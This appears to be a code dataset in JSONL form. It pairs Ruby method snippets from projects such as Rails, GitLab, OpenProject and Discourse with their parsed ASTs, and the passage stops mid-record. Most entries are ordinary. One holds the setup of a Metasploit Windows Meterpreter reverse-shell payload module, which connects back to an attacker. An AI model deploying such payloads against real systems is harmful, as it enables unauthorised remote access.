{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/static_class.rb","start_line":83,"raw_source":"def autocorrect_sclass(corrector, node)\n          corrector.remove(\n            range_between(node.loc.keyword.begin_pos, node.identifier.source_range.end_pos)\n          )\n          corrector.remove(node.loc.end)\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_sclass\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"identifier\"]},\"source_range\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]}]}]}]}","id":"04b4ee01-c38d-4e17-bcae-abf0e3ecfb28"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/storage_wizard.rb","start_line":59,"raw_source":"def prepare_storage_for_access_management_form(storage)\n            ::Storages::Storages::SetProviderFieldsAttributesService\n              .new(user:, model: storage, contract_class: EmptyContract)\n              .call\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_storage_for_access_management_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"Storages\"]},\"SetProviderFieldsAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[null,\"EmptyContract\"]}]}]}]},\"call\"]}]}","id":"32cb259d-6891-485d-b957-b59800e3465b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240906233304_remove_limits_from_form_templates.rb","start_line":4,"raw_source":"def change\n    change_column :form_templates, :name, :string, limit: nil\n    change_column :form_templates, :template, :text, limit: nil\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"form_templates\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"form_templates\"]},{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"b948846e-526b-4389-9e06-897ee455d0b2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/argv_scrubber_test.rb","start_line":19,"raw_source":"def test_version\n        [\"-v\", \"--version\"].each do |str|\n          scrubber = ARGVScrubber.new [str]\n          output    = nil\n          exit_code = nil\n          scrubber.extend(Module.new {\n            define_method(:puts) { |string| output = string }\n            define_method(:exit) { |code| exit_code = code }\n          })\n          scrubber.prepare!\n          assert_equal \"Rails #{Rails::VERSION::STRING}\", output\n          assert_equal 0, exit_code\n        end\n      end","complexity_score":38.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-v\"]},{\"type\":\"str\",\"children\":[\"--version\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scrubber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGVScrubber\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"exit_code\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scrubber\"]},\"extend\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"puts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"exit\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exit_code\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scrubber\"]},\"prepare!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Rails \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"VERSION\"]},\"STRING\"]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"exit_code\"]}]}]}]}]}","id":"c0a7a3c2-7420-4531-9b88-c795247a8f50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250224190225_remove_geo_event_log_repositories_changed_event_id_column.rb","start_line":16,"raw_source":"def down\n    add_column(TABLE_NAME, COLUMN_NAME, :bigint, if_not_exists: true)\n\n    add_concurrent_index(TABLE_NAME, COLUMN_NAME, name: INDEX_NAME, where: 'repositories_changed_event_id IS NOT NULL')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"repositories_changed_event_id IS NOT NULL\"]}]}]}]}]}]}","id":"8004a80d-d047-45bd-82d3-9620267be4d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/qa.rb","start_line":9,"raw_source":"def self.request?(request_user_agent)\n      return false unless Gitlab.com?\n      return false unless request_user_agent.present?\n      return false unless user_agent.present?\n\n      ActiveSupport::SecurityUtils.secure_compare(request_user_agent, user_agent)\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_user_agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_user_agent\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_agent\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"request_user_agent\"]},{\"type\":\"send\",\"children\":[null,\"user_agent\"]}]}]}]}","id":"93cd527d-cf15-4a0d-94fa-7176a611edb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/adjourned_group_deletion_worker.rb","start_line":17,"raw_source":"def perform\n    deletion_cutoff = Gitlab::CurrentSettings.deletion_adjourned_period.days.ago.to_date\n\n    Group.with_route\n      .marked_for_deletion_before(deletion_cutoff)\n      .with_deletion_schedule\n      .find_each(batch_size: 100) # rubocop: disable CodeReuse/ActiveRecord -- existing class moved from EE to CE\n      .with_index do |group, index|\n      deletion_schedule = group.deletion_schedule\n      delay = index * INTERVAL\n\n      user = deletion_schedule.deleting_user\n\n      with_context(namespace: group, user: user) do\n        Namespaces::Groups::AdjournedDeletionService\n          .new(group: group, current_user: user, params: { delay: delay })\n          .execute\n      end\n    end\n  end","complexity_score":26.95,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deletion_cutoff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"deletion_adjourned_period\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"with_route\"]},\"marked_for_deletion_before\",{\"type\":\"lvar\",\"children\":[\"deletion_cutoff\"]}]},\"with_deletion_schedule\"]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deletion_schedule\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"deletion_schedule\"]}]},{\"type\":\"lvasgn\",\"children\":[\"delay\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"INTERVAL\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletion_schedule\"]},\"deleting_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"Groups\"]},\"AdjournedDeletionService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delay\"]},{\"type\":\"lvar\",\"children\":[\"delay\"]}]}]}]}]}]},\"execute\"]}]}]}]}]}]}","id":"d824920d-d314-4837-bb12-7e6073475fa8"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/router/route.rb","start_line":16,"raw_source":"def match?(inbound_email)\n      case address\n      when :all\n        true\n      when String\n        inbound_email.mail.recipients.any? { |recipient| address.casecmp?(recipient) }\n      when Regexp\n        inbound_email.mail.recipients.any? { |recipient| address.match?(recipient) }\n      when Proc\n        address.call(inbound_email)\n      else\n        address.match?(inbound_email)\n      end\n    end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inbound_email\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbound_email\"]},\"mail\"]},\"recipients\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address\"]},\"casecmp?\",{\"type\":\"lvar\",\"children\":[\"recipient\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbound_email\"]},\"mail\"]},\"recipients\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"recipient\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"inbound_email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"inbound_email\"]}]}]}]}","id":"96b8b6b3-cf5a-4573-8d84-34208489e6c6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_management_test.rb","start_line":40,"raw_source":"def test_body_responds_to_each\n        _, _, body = @management.call(@env)\n        bits = []\n        body.each { |bit| bits << bit }\n        assert_equal [\"hi mom\"], bits\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_body_responds_to_each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@management\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bits\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bits\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"bit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hi mom\"]}]},{\"type\":\"lvar\",\"children\":[\"bits\"]}]}]}]}","id":"c60e4400-693c-4560-a553-e1f26e5c658e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',\n        'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',\n        'Author' => [ 'OJ Reeves' ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Session' => Msf::Sessions::Meterpreter_x86_Win\n      )\n    )\n\n    register_options([\n      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),\n      OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),\n      OptInt.new('SCOPEID', [false, 'The IPv6 Scope ID, required for link-layer addresses', 0])\n    ])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Meterpreter Shell, Reverse TCP Inline (IPv6)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OJ Reeves\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_x86_Win\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTENSIONS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma-separate list of extensions to load\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTINIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Initialization strings for extensions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SCOPEID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The IPv6 Scope ID, required for link-layer addresses\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"486cce77-f5ac-4556-8d2f-c8c08df796b7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_section.rb","start_line":59,"raw_source":"def agenda_items_sum_duration_in_minutes\n    agenda_items.sum(:duration_in_minutes)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_items_sum_duration_in_minutes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agenda_items\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"duration_in_minutes\"]}]}]}","id":"53e22c41-db1f-4c6b-b4e9-79148f580488"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contact_inboxes_controller.rb","start_line":18,"raw_source":"def permitted_params\n    params.permit(:inbox_id, :source_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"sym\",\"children\":[\"source_id\"]}]}]}","id":"6502c91a-c4d8-44b9-9f01-e791ff3f1b26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/redis_client_adapter.rb","start_line":63,"raw_source":"def initialize(options)\n      opts = client_opts(options)\n      @config = if opts.key?(:sentinels)\n        RedisClient.sentinel(**opts)\n      elsif opts.key?(:nodes)\n        # Sidekiq does not support Redis clustering but Sidekiq Enterprise's\n        # rate limiters are cluster-safe so we can scale to millions\n        # of rate limiters using a Redis cluster. This requires the\n        # `redis-cluster-client` gem.\n        # Sidekiq::Limiter.redis = { nodes: [...] }\n        RedisClient.cluster(**opts)\n      else\n        RedisClient.config(**opts)\n      end\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[null,\"client_opts\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"sentinels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisClient\"]},\"sentinel\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"nodes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisClient\"]},\"cluster\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisClient\"]},\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}]}]}]}","id":"2fce5338-fd74-4fc3-942f-cfd1b5b3e882"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":329,"raw_source":"def test_format_option_with_url_options\n    with_test_routes do\n      @project.save\n      assert_equal \"http://example.com/projects/#{@project.id}.pdf?param1=10\", polymorphic_url(@project, format: :pdf, param1: \"10\")\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_format_option_with_url_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://example.com/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".pdf?param1=10\"]}]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"pdf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"param1\"]},{\"type\":\"str\",\"children\":[\"10\"]}]}]}]}]}]}]}]}","id":"4d571cb8-71d9-4d30-966e-ad05ba59c5af"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/string_splitter.rb","start_line":27,"raw_source":"def strip_quotes!(tokens)\n          _, type, beg_str = tokens.shift\n          if type != :on_tstring_beg\n            raise(Haml::InternalError, \"Expected :on_tstring_beg but got: #{type}\")\n          end\n\n          _, type, end_str = tokens.pop\n          if type != :on_tstring_end\n            raise(Haml::InternalError, \"Expected :on_tstring_end but got: #{type}\")\n          end\n\n          [beg_str, end_str]\n        end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_quotes!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"beg_str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"shift\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"on_tstring_beg\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"InternalError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected :on_tstring_beg but got: 